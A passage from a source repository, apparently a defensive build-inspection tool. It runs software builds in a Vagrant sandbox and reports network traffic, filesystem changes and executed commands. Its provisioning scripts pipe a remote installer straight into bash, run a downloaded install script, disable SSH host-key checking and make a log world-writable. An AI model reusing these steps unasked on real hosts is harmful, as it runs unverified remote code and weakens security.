1, 28] * '' 125 | digest = sha256.hexdigest(perl) 126 | next unless digest == 'ac8bf43d69665fecf43f2bcd0db25dc0543dd198645820c6488eeb48ea394631' 127 | lines.slice!(idx, 29) 128 | end 129 | 130 | lines 131 | end 132 | 133 | def get_connections 134 | pcap_file = File.join(@evidence_path, BuildInspector::PCAP_FILE) 135 | packet_inspector = PacketInspector.new(pcap_file) 136 | outgoing_packets = packet_inspector.packets_from(@vagrant_ip) 137 | 138 | ips_sizes = outgoing_packets.each_with_object(Hash.new(0)) do |packet, memo| 139 | memo[packet.ip_dst_readable] += packet.size 140 | end 141 | 142 | dns_responses = packet_inspector.dns_responses 143 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo| 144 | name = name_addresses.first 145 | addresses = name_addresses.last 146 | addresses.each { |address| memo[address.to_s] = name } 147 | end 148 | 149 | # Whitelist the DNS' IP also; don't want it showing up 150 | dns_server = Resolv::DNS::Config.default_config_hash[:nameserver] 151 | whitelist = @host_whitelist 152 | whitelist += dns_server if dns_server 153 | 154 | ips_sizes.map { |ip, size| [address_to_name.fetch(ip, ip), ip, size] } 155 | .find_all { |hostname, ip, size| !(whitelist.include?(hostname) || whitelist.include?(ip)) } 156 | end 157 | 158 | def get_insecure_connections 159 | pcap_file = File.join(@evidence_path, BuildInspector::PCAP_FILE) 160 | packet_inspector = PacketInspector.new(pcap_file) 161 | hosts_contacted_via_http = {} 162 | 163 | dns_responses = packet_inspector.dns_responses 164 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo| 165 | name = name_addresses.first 166 | addresses = name_addresses.last 167 | addresses.each { |address| memo[address.to_s] = name } 168 | end 169 | 170 | packet_inspector.http_requests.each do |request, path| 171 | if address_to_name.key?(request) 172 | (hosts_contacted_via_http[address_to_name[request]] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path)) 173 | else 174 | (hosts_contacted_via_http[request] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path)) 175 | end 176 | end 177 | 178 | hosts_contacted_via_http.map { |host, address| 179 | [host, address.compact] 180 | } 181 | end 182 | 183 | def get_filesystem_changes 184 | changes_file = File.join(@evidence_path, BuildInspector::FILESYSTEM_CHANGES_FILE) 185 | lines = IO.readlines(changes_file) 186 | 187 | # These lines are just noise. 188 | lines - [ 189 | "changed: home/vagrant\n", 190 | "No changes found. Directory matches archive data.\n", 191 | ] 192 | end 193 | 194 | def get_running_processes 195 | procs_before_file = File.join(@evidence_path, BuildInspector::PROCESSES_BEFORE_FILE) 196 | procs_after_file = File.join(@evidence_path, BuildInspector::PROCESSES_AFTER_FILE) 197 | 198 | procs_before = File.readlines(procs_before_file) 199 | procs_after = File.readlines(procs_after_file) 200 | 201 | procs_after - procs_before 202 | end 203 | 204 | private 205 | 206 | def print_processes 207 | lines = get_processes 208 | 209 | filtered_path = File.join(@evidence_path, "filtered-commands.txt") 210 | File.open(filtered_path, 'w') do |f| 211 | lines.each { |l| f.write(l) } 212 | end 213 | 214 | puts Printer.yellowify('Filtered commands executed:') 215 | lines.each { |line| puts " #{line}"} 216 | end 217 | 218 | def print_connections 219 | connections = get_connections 220 | return if connections.empty? 221 | 222 | puts Printer.yellowify('Hosts contacted:') 223 | connections.each do |hostname, ip, size| 224 | name_ip = "#{hostname} (#{ip})".ljust(60) 225 | puts " #{name_ip} #{prettify(size).rjust(10)}" 226 | end 227 | end 228 | 229 | def print_insecure_connections 230 | insecure_connections = get_insecure_connections 231 | return if insecure_connections.empty? 232 | 233 | puts Printer.yellowify('Insecure Connections Made:') 234 | insecure_connections.each do |hostname, address| 235 | addresses = address.reject(&:empty?).join("\n ") 236 | hostname_address = "#{hostname}\n #{addresses}".ljust(60) 237 | puts " #{hostname_address}" 238 | end 239 | end 240 | 241 | def prettify(size) 242 | return size.to_s + 'B' if size < 1000 243 | (size / KILOBYTE).round(1).to_s + 'K' 244 | end 245 | 246 | def print_filesystem_changes 247 | lines = get_filesystem_changes 248 | return if lines.empty? 249 | 250 | puts Printer.yellowify('File system changes:') 251 | lines.each { |line| puts line } 252 | end 253 | 254 | def print_running_processes 255 | running_procs = get_running_processes 256 | return if running_procs.empty? 257 | 258 | puts Printer.yellowify('New processes running after the build:') 259 | running_procs.flatten.each { |proc| puts " - #{proc}" } 260 | end 261 | end 262 | -------------------------------------------------------------------------------- /lib/packet_inspector.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'packetfu' 18 | require 'resolv' 19 | require 'webrick' 20 | 21 | class PacketInspector 22 | include PacketFu 23 | 24 | DNS_PORT = 53 25 | HTTP_PORT = 80 26 | HTTPS_PORT = 443 27 | 28 | def initialize(pcap_file) 29 | @packets = PcapFile.read_packets(pcap_file) 30 | @req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) 31 | end 32 | 33 | def packets_from(src_ip) 34 | @packets.find_all do |packet| 35 | packet.respond_to?(:ip_src_readable) && packet.ip_src_readable == src_ip 36 | end 37 | end 38 | 39 | def udp_packets_with_dst_port(port) 40 | @packets.find_all do |packet| 41 | packet.respond_to?(:udp_dst) && packet.udp_dst == port 42 | end 43 | end 44 | 45 | def tcp_packets_with_dst_port(port) 46 | @packets.find_all do |packet| 47 | packet.respond_to?(:tcp_dst) && packet.tcp_dst == port 48 | end 49 | end 50 | 51 | def udp_packets_with_src_port(port) 52 | @packets.find_all do |packet| 53 | packet.respond_to?(:udp_src) && packet.udp_src == port 54 | end 55 | end 56 | 57 | def tcp_packets_with_src_port(port) 58 | @packets.find_all do |packet| 59 | packet.respond_to?(:tcp_src) && packet.tcp_src == port 60 | end 61 | end 62 | 63 | def http_requests 64 | tcp_packets_with_dst_port(HTTP_PORT).map { |packet| 65 | if packet.tcp_header.body != '' 66 | path = '' 67 | begin 68 | @req.parse(StringIO.new(packet.tcp_header.body)) 69 | path = @req.path 70 | rescue 71 | end 72 | [packet.ip_daddr, path] 73 | else 74 | [packet.ip_daddr, ''] 75 | end 76 | } 77 | end 78 | 79 | def http_responses 80 | tcp_packets_with_src_port(HTTP_PORT).map { |packet| packet.ip_saddr } 81 | end 82 | 83 | def dns_requests 84 | decoded_requests = udp_packets_with_dst_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) } 85 | 86 | decoded_requests.each_with_object({}) do |request, memo| 87 | name = request.question.first.first.to_s 88 | memo[name] ||= [] 89 | end 90 | end 91 | 92 | # returns a mapping of names to its ip addresses 93 | def dns_responses 94 | decoded_responses = udp_packets_with_src_port(DNS_PORT).map { |p| Resolv::DNS::Message.decode(p.payload) } 95 | 96 | decoded_responses.each_with_object({}) do |response, memo| 97 | name = response.question.first.first.to_s 98 | memo[name] ||= [] 99 | response.answer.each do |ans| 100 | case ans.last 101 | when Resolv::DNS::Resource::IN::CNAME 102 | memo[name] << ans.last.name 103 | when Resolv::DNS::Resource::IN::AAAA, Resolv::DNS::Resource::IN::A 104 | memo[name] << ans.last.address 105 | else 106 | puts ans.last 107 | end 108 | end 109 | end 110 | end 111 | end 112 | -------------------------------------------------------------------------------- /lib/printer.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'open3' 18 | require 'rainbow' 19 | 20 | module Printer 21 | # Because "puts `cmd`" doesn't stream the output as it appears 22 | def self.exec_puts(command) 23 | Open3.popen3(command) do |stdin, stdout, stderr, thread| 24 | # read each stream from a new thread 25 | { out: stdout, err: stderr }.each do |type, stream| 26 | Thread.new do 27 | until (line = stream.gets).nil? do 28 | case type 29 | when :out 30 | puts "==> inspector: #{line}" 31 | when :err 32 | print "==> inspector: #{Rainbow(line).red}" 33 | end 34 | end 35 | end 36 | end 37 | thread.join 38 | end 39 | end 40 | 41 | def self.yellowify(text) 42 | Rainbow(text).yellow.bright 43 | end 44 | 45 | def self.yell(text) 46 | "echo #{yellowify(text)}" 47 | end 48 | end 49 | -------------------------------------------------------------------------------- /lib/report_builder.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'erb' 18 | require 'json' 19 | require_relative 'build_inspector' 20 | 21 | class ReportBuilder 22 | def self.build(output_file, repo_path, repo_name, options, config, processor, start_time, end_time) 23 | title = "Build Inspector Report - #{repo_name}" 24 | 25 | options_json = JSON.pretty_generate(options) 26 | config_json = JSON.pretty_generate(config.config) 27 | 28 | file_changes = processor.get_filesystem_changes * "\n" 29 | network_activity = processor.get_connections * "\n" 30 | insecure_network_activity = processor.get_insecure_connections * "\n" 31 | running_processes = processor.get_running_processes * "\n" 32 | executed_commands = processor.get_processes * "\n" 33 | all_commands = processor.get_unfiltered_processes * "\n" 34 | 35 | template = IO.read("#{File.dirname(__FILE__)}/report_template.html.erb") 36 | renderer = ERB.new(template) 37 | output = renderer.result(binding) 38 | File.open(output_file, 'w') { |f| f.write(output) } 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /lib/report_template.html.erb: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | <%= title %> 6 | 7 | 127 | 128 | 129 | 130 | 131 |

<%= title %>

132 |
133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 |
149 |

Overview

150 |

151 | Repository name: <%= repo_name %>
152 | Repository path: <%= repo_path %>
153 | Build started: <%= start_time %>
154 | Build finished: <%= end_time %>
155 |

156 |

Report Suspicious Build

157 |

158 | If this build appears suspicious or you think it may be malicious, please report it here: Submit Suspicious Build 159 |

160 |

Options

161 |

162 |

163 | <%= options_json %>
164 |         
165 |

166 |

Configuration

167 |

168 |

169 | <%= config_json %>
170 |         
171 |

172 |
173 | 174 |
175 |

File Changes

176 |

177 |

178 | <%= file_changes %>
179 |         
180 |

181 |
182 | 183 |
184 |

DNS Activity

185 |

186 |

187 | <%= network_activity %>
188 |         
189 |

190 | 191 |

Insecure Network Activity

192 |

193 |

194 | <%= insecure_network_activity %>
195 |         
196 |

197 |
198 | 199 |
200 |

Running Processes

201 |

202 |

203 | <%= running_processes %>
204 |         
205 |

206 |
207 | 208 |
209 |

Filtered Commands

210 |

211 |

212 | <%= executed_commands %>
213 |         
214 |

215 | 216 |

All Commands

217 |

218 |

219 | <%= all_commands %>
220 |         
221 |

222 |
223 |
224 | 225 | 232 | 233 | 234 | -------------------------------------------------------------------------------- /lib/scripts/build_inspector_script.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | class BuildInspectorScript 18 | 19 | def initialize(evidence_path:, package_manager:, host_whitelist:) 20 | @evidence_path = evidence_path 21 | @package_manager = package_manager || '' 22 | @host_whitelist = host_whitelist 23 | @file_to_analyze = analysis_file_name 24 | @results = load_results 25 | end 26 | 27 | def run 28 | end 29 | 30 | def version 31 | '0' 32 | end 33 | 34 | 35 | private 36 | 37 | def add_results(results) 38 | positive = (results and !results.empty?) 39 | payload = {'script': script_name, 40 | 'version': version, 41 | 'package_manager': @package_manager, 42 | 'file_analyzed': @file_to_analyze, 43 | 'results': results, 44 | 'positive': positive} 45 | @results[@evidence_path] = payload 46 | end 47 | 48 | def load_results 49 | {} 50 | end 51 | 52 | def save_results 53 | end 54 | 55 | def script_name 56 | self.class.name 57 | end 58 | 59 | def analysis_file_name 60 | '' 61 | end 62 | 63 | def self.template_file_name 64 | 'build_inspector_template.html.erb' 65 | end 66 | 67 | def self.results_file_name 68 | 'build_inspector_results.json' 69 | end 70 | 71 | end -------------------------------------------------------------------------------- /lib/scripts/insecure_network_finder.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'json' 18 | require_relative 'build_inspector_script' 19 | require_relative '../packet_inspector' 20 | 21 | class InsecureNetworkFinder < BuildInspectorScript 22 | 23 | def run 24 | pcap_file = File.join(@evidence_path, @file_to_analyze) 25 | packet_inspector = PacketInspector.new(pcap_file) 26 | hosts_contacted_via_http = {} 27 | 28 | dns_responses = packet_inspector.dns_responses 29 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo| 30 | name = name_addresses.first 31 | addresses = name_addresses.last 32 | addresses.each { |address| memo[address.to_s] = name } 33 | end 34 | 35 | packet_inspector.http_requests.each do |request, path| 36 | if address_to_name.key?(request) 37 | (hosts_contacted_via_http[address_to_name[request]] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path)) 38 | else 39 | (hosts_contacted_via_http[request] ||= []) << (path if !hosts_contacted_via_http[address_to_name[request]].include?(path)) 40 | end 41 | end 42 | 43 | hosts_contacted_via_http.each do |host, addresses| 44 | hosts_contacted_via_http[host] = addresses.compact 45 | end 46 | 47 | add_results(hosts_contacted_via_http) 48 | save_results 49 | !hosts_contacted_via_http.empty? 50 | end 51 | 52 | 53 | def version 54 | '1' 55 | end 56 | 57 | private 58 | 59 | def load_results 60 | if File.file?(InsecureNetworkFinder::results_file_name) and !File.zero?(InsecureNetworkFinder::results_file_name) 61 | File.open(InsecureNetworkFinder::results_file_name, 'r') do |f| 62 | @results = JSON.load(f) 63 | end 64 | else 65 | @results = {} 66 | end 67 | end 68 | 69 | def save_results 70 | File.open(InsecureNetworkFinder::results_file_name, 'w+') do |f| 71 | f.write(JSON.pretty_generate(@results)) 72 | end 73 | end 74 | 75 | def analysis_file_name 76 | 'traffic.pcap' 77 | end 78 | 79 | def self.template_file_name 80 | 'insecure_network_finder_template.html.erb' 81 | end 82 | 83 | def self.results_file_name 84 | 'insecure_network_finder_results.json' 85 | end 86 | 87 | end 88 | 89 | -------------------------------------------------------------------------------- /lib/scripts/network_activity_finder.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require 'json' 18 | require_relative 'build_inspector_script' 19 | require_relative '../packet_inspector' 20 | 21 | class NetworkActivityFinder < BuildInspectorScript 22 | 23 | def run 24 | pcap_file = File.join(@evidence_path, @file_to_analyze) 25 | packet_inspector = PacketInspector.new(pcap_file) 26 | 27 | # Whitelist the DNS' IP also; don't want it showing up 28 | dns_server = Resolv::DNS::Config.default_config_hash[:nameserver] 29 | whitelist = @host_whitelist 30 | whitelist += dns_server if dns_server 31 | 32 | dns_responses = packet_inspector.dns_responses 33 | address_to_name = dns_responses.each_with_object({}) do |name_addresses, memo| 34 | if !whitelist.include?(name_addresses.first) 35 | name = name_addresses.first 36 | addresses = name_addresses.last 37 | addresses.each { |address| memo[address.to_s] = name if !whitelist.include?(address.to_s) } 38 | end 39 | end 40 | 41 | add_results(address_to_name) 42 | save_results 43 | address_to_name and !address_to_name.empty? 44 | end 45 | 46 | 47 | def version 48 | '1' 49 | end 50 | 51 | private 52 | 53 | def load_results 54 | if File.file?(NetworkActivityFinder::results_file_name) and !File.zero?(NetworkActivityFinder::results_file_name) 55 | File.open(NetworkActivityFinder::results_file_name, 'r') do |f| 56 | @results = JSON.load(f) 57 | end 58 | else 59 | @results = {} 60 | end 61 | end 62 | 63 | def save_results 64 | File.open(NetworkActivityFinder::results_file_name, 'w+') do |f| 65 | f.write(JSON.pretty_generate(@results)) 66 | end 67 | end 68 | 69 | def analysis_file_name 70 | 'traffic.pcap' 71 | end 72 | 73 | def self.template_file_name 74 | 'network_activity_finder_template.html.erb' 75 | end 76 | 77 | def self.results_file_name 78 | 'network_activity_finder_results.json' 79 | end 80 | 81 | end 82 | 83 | -------------------------------------------------------------------------------- /lib/vagrant_whisperer.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | Copyright 2016 SourceClear Inc 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | =end 16 | 17 | require_relative 'printer' 18 | 19 | class VagrantWhisperer 20 | TMP_PATH = '/tmp'.freeze 21 | TMP_CMDS = "#{TMP_PATH}/vagrantCommands.sh".freeze 22 | 23 | def initialize(verbose: false) 24 | @verbose = verbose 25 | @ssh_opts = parse_ssh_config(`vagrant ssh-config`) 26 | end 27 | 28 | def run(message: nil, stream: false) 29 | return unless block_given? 30 | puts Printer.yellowify(message) if message 31 | commands = [] 32 | yield commands 33 | 34 | tf = Tempfile.new('inspector-commands') 35 | tf.write("#!/bin/bash\n") 36 | commands.each { |cmd| tf.write("#{cmd}\n") } 37 | tf.write("rm #{TMP_CMDS}") 38 | tf.rewind 39 | 40 | send_file(tf.path, TMP_CMDS) 41 | tf.close 42 | tf.unlink 43 | 44 | ssh_exec("bash -l #{TMP_CMDS}", stream: stream) 45 | end 46 | 47 | def up 48 | Printer.exec_puts 'vagrant up' 49 | end 50 | 51 | def snapshot 52 | Printer.exec_puts 'vagrant sandbox on' 53 | end 54 | 55 | def rollback 56 | puts Printer.yellowify('Rolling back virtual machine state ...') 57 | Printer.exec_puts 'vagrant sandbox rollback' 58 | ensure_ready 59 | end 60 | 61 | def ensure_ready 62 | attempts = 0 63 | while ssh_exec('echo ready', stream: true).strip != 'ready' do 64 | attempts += 1 65 | if attempts < 5 and attempts >= 0 66 | puts "VM is not yet ready; waiting..." 67 | sleep(120) 68 | else 69 | puts "VM failed. Exiting" 70 | exit 71 | end 72 | end 73 | end 74 | 75 | def send_file(local_path, remote_path) 76 | scp_cmd = File.directory?(local_path) ? 'scp -r' : 'scp' 77 | cmd = "#{scp_cmd} #{ssh_opts_str} #{local_path} #{@ssh_opts['User']}@#{@ssh_opts['HostName']}:#{remote_path}" 78 | puts "#{cmd}" if @verbose 79 | `#{cmd}` 80 | end 81 | 82 | def get_file(remote_path, local_path = '.') 83 | scp_cmd = File.directory?(local_path) ? 'scp -r' : 'scp' 84 | cmd = "#{scp_cmd} #{ssh_opts_str} #{@ssh_opts['User']}@#{@ssh_opts['HostName']}:#{remote_path} #{local_path}" 85 | puts "#{cmd}" if @verbose 86 | `#{cmd}` 87 | end 88 | 89 | def ip_address 90 | cmd = "ip address show eth0 | grep 'inet ' | sed -e 's/^.*inet //' -e 's/\\/.*$//'" 91 | @ip_address ||= run(stream: true) { |c| c << cmd }.rstrip 92 | end 93 | 94 | def home 95 | @home ||= run(stream: true) { |c| c << 'echo $HOME' }.rstrip 96 | end 97 | 98 | private 99 | 100 | def ssh_exec(command, stream: false) 101 | full_cmd = "ssh #{ssh_args} \"#{command}\"" 102 | puts full_cmd if @verbose 103 | if stream 104 | $stdout.sync = true 105 | IO.popen(full_cmd).read 106 | else 107 | Printer.exec_puts(full_cmd) 108 | end 109 | end 110 | 111 | def ssh_args 112 | "#{ssh_opts_str} -t #{@ssh_opts['User']}@#{@ssh_opts['HostName']}" 113 | end 114 | 115 | def ssh_opts_str 116 | @ssh_opts.map { |k, v| "-o #{k}=#{v}" } * ' ' 117 | end 118 | 119 | def parse_ssh_config(config) 120 | ssh_opts = {} 121 | config.lines.map(&:strip).each do |e| 122 | next if e.empty? 123 | k, v = e.split(/\s+/, 2) 124 | ssh_opts[k] = v 125 | end 126 | 127 | # Silence ssh logging 128 | ssh_opts['LogLevel'] = 'QUIET' 129 | 130 | # Multiplex for faster ssh connections 131 | ssh_opts['ControlPath'] = '~/.ssh/%r@%h:%p' 132 | ssh_opts['ControlMaster'] = 'auto' 133 | ssh_opts['ControlPersist'] = '10m' 134 | 135 | # Remove Host directive as it doesn't work on some systems 136 | ssh_opts.tap { |opts| opts.delete('Host') } 137 | end 138 | end 139 | -------------------------------------------------------------------------------- /provisioning/bootstrap.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/provisioning/bootstrap.sh -------------------------------------------------------------------------------- /provisioning/filesystem-snapshot.txt: -------------------------------------------------------------------------------- 1 | - /backup 2 | - /dev 3 | - /evidence 4 | - /home/vagrant/.gradle 5 | - /home/vagrant/repo 6 | - /lost+found 7 | - /media 8 | - /mnt 9 | - /proc 10 | - /run 11 | - /sys 12 | - /tmp 13 | - /vagrant 14 | - /var/lock 15 | - /var/log 16 | - /var/run 17 | - /var/tmp 18 | / 19 | -------------------------------------------------------------------------------- /provisioning/ntp.conf: -------------------------------------------------------------------------------- 1 | # /etc/ntp.conf, configuration for ntpd; see ntp.conf(5) for help 2 | 3 | driftfile /var/lib/ntp/ntp.drift 4 | 5 | 6 | # Enable this if you want statistics to be logged. 7 | #statsdir /var/log/ntpstats/ 8 | 9 | statistics loopstats peerstats clockstats 10 | filegen loopstats file loopstats type day enable 11 | filegen peerstats file peerstats type day enable 12 | filegen clockstats file clockstats type day enable 13 | 14 | # Specify one or more NTP servers. 15 | 16 | # Use 0.ubuntu.pool.ntp.org's ip address 17 | server 128.199.91.7 18 | 19 | # Access control configuration; see /usr/share/doc/ntp-doc/html/accopt.html for 20 | # details. The web page 21 | # might also be helpful. 22 | # 23 | # Note that "restrict" applies to both servers and clients, so a configuration 24 | # that might be intended to block requests from certain clients could also end 25 | # up blocking replies from your own upstream servers. 26 | 27 | # By default, exchange time with everybody, but don't allow configuration. 28 | restrict -4 default kod notrap nomodify nopeer noquery 29 | restrict -6 default kod notrap nomodify nopeer noquery 30 | 31 | # Local users may interrogate the ntp server more closely. 32 | restrict 127.0.0.1 33 | restrict ::1 34 | 35 | # Clients from this (example!) subnet have unlimited access, but only if 36 | # cryptographically authenticated. 37 | #restrict 192.168.123.0 mask 255.255.255.0 notrust 38 | 39 | 40 | # If you want to provide time to your local subnet, change the next line. 41 | # (Again, the address is an example only.) 42 | #broadcast 192.168.123.255 43 | 44 | # If you want to listen to time broadcasts on your local subnet, de-comment the 45 | # next lines. Please do this only if you trust everybody on the network! 46 | #disable auth 47 | #broadcastclient 48 | -------------------------------------------------------------------------------- /provisioning/pre-package-bootstrap.sh: -------------------------------------------------------------------------------- 1 | if grep 'vagrant' /etc/passwd 2 | then 3 | user_home=/home/vagrant 4 | else 5 | user_home=$HOME 6 | fi 7 | 8 | mv $user_home/sources.list /etc/apt/sources.list 9 | mv $user_home/sshd /etc/pam.d/sshd 10 | 11 | #echo GEM_HOME="$user_home/.gem" >> /etc/environment 12 | #echo PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games" >> /etc/environment 13 | 14 | echo "Stopping Puppet and Chef" 15 | service puppet stop 16 | service chef-client stop 17 | 18 | echo "Adding APT repositories" 19 | add-apt-repository -y ppa:chris-lea/node.js 20 | 21 | # For Gradle 2.x 22 | add-apt-repository ppa:cwchien/gradle 23 | 24 | # For openjdk-8-jdk 25 | add-apt-repository ppa:openjdk-r/ppa 26 | 27 | echo "Updating APT package list" 28 | apt-get update 29 | 30 | echo "Installing dependencies" 31 | apt-get install -y build-essential git-core zlib1g-dev libssl-dev \ 32 | libreadline-dev libyaml-dev subversion maven gradle-3.5.1 nodejs rdiff-backup \ 33 | zip libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev \ 34 | libcurl4-openssl-dev libffi-dev openjdk-8-jdk 35 | 36 | # Set Java 8 as default 37 | update-alternatives --set java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 38 | 39 | echo "Installing Snoopy" 40 | wget -O snoopy-install.sh https://github.com/a2o/snoopy/raw/install/doc/install/bin/snoopy-install.sh 41 | chmod +x snoopy-install.sh 42 | ./snoopy-install.sh stable 43 | echo 'output = file:/var/log/snoopy.log' >> /etc/snoopy.ini 44 | rm -rf snoopy-* 45 | 46 | # Log file must be fairly writable or you'll only get root processes 47 | touch /var/log/snoopy.log 48 | chmod 0666 /var/log/snoopy.log 49 | -------------------------------------------------------------------------------- /provisioning/pre-package-bootstrap2.sh: -------------------------------------------------------------------------------- 1 | set -e 2 | # This runs as vagrant user, not root! 3 | 4 | echo "tmp = $HOME/.npm" >> ~/.npmrc 5 | 6 | echo -e "Host github.com\n\tStrictHostKeyChecking no\n" >> ~/.ssh/config 7 | 8 | # Need to import this public key for RVM 9 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 10 | 11 | # Sometimes the gpg command fails. Try it another way. 12 | curl -#LO https://rvm.io/mpapis.asc && gpg --import mpapis.asc && rm mpapis.asc 13 | 14 | curl -sSL https://get.rvm.io | bash -s $1 15 | echo rvm_install_on_use_flag=1 >> /home/vagrant/.rvmrc 16 | source $HOME/.rvm/scripts/rvm 17 | rvm --install --default use 2.2.3 18 | gem install bundler 19 | -------------------------------------------------------------------------------- /provisioning/pre-package-bootstrap3.sh: -------------------------------------------------------------------------------- 1 | set -e 2 | 3 | mkdir -p /evidence 4 | if grep 'vagrant' /etc/passwd 5 | then 6 | chown vagrant:vagrant /evidence 7 | user_home=/home/vagrant 8 | else 9 | user_home=$HOME 10 | fi 11 | 12 | # Generate a snapshot now so it's easier to snapshot before an inspection 13 | mkdir -p /backup 14 | rdiff-backup --include-filelist $user_home/filesystem-snapshot.txt / /backup 15 | chown -R vagrant:vagrant /backup 16 | 17 | echo 'All set, rock on!' 18 | -------------------------------------------------------------------------------- /provisioning/sources.list: -------------------------------------------------------------------------------- 1 | deb http://mirrors.digitalocean.com/ubuntu trusty main restricted universe multiverse 2 | deb http://mirrors.digitalocean.com/ubuntu trusty-updates main restricted universe multiverse 3 | deb http://mirrors.digitalocean.com/ubuntu trusty-backports main restricted universe multiverse 4 | deb http://mirrors.digitalocean.com/ubuntu trusty-security main restricted universe multiverse 5 | 6 | -------------------------------------------------------------------------------- /provisioning/sshd: -------------------------------------------------------------------------------- 1 | # PAM configuration for the Secure Shell service 2 | 3 | # Standard Un*x authentication. 4 | @include common-auth 5 | 6 | # Disallow non-root logins when /etc/nologin exists. 7 | account required pam_nologin.so 8 | 9 | # Uncomment and edit /etc/security/access.conf if you need to set complex 10 | # access limits that are hard to express in sshd_config. 11 | # account required pam_access.so 12 | 13 | # Standard Un*x authorization. 14 | @include common-account 15 | 16 | # SELinux needs to be the first session rule. This ensures that any 17 | # lingering context has been cleared. Without this it is possible that a 18 | # module could execute code in the wrong domain. 19 | session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close 20 | 21 | # Set the loginuid process attribute. 22 | session required pam_loginuid.so 23 | 24 | # Create a new session keyring. 25 | session optional pam_keyinit.so force revoke 26 | 27 | # Standard Un*x session setup and teardown. 28 | @include common-session 29 | 30 | # Print the message of the day upon successful login. 31 | # This includes a dynamically generated part from /run/motd.dynamic 32 | # and a static (admin-editable) part from /etc/motd. 33 | #session optional pam_motd.so motd=/run/motd.dynamic noupdate 34 | #session optional pam_motd.so # [1] 35 | 36 | # Print the status of the user's mailbox upon successful login. 37 | session optional pam_mail.so standard noenv # [1] 38 | 39 | # Set up user limits from /etc/security/limits.conf. 40 | session required pam_limits.so 41 | 42 | # Read environment variables from /etc/environment and 43 | # 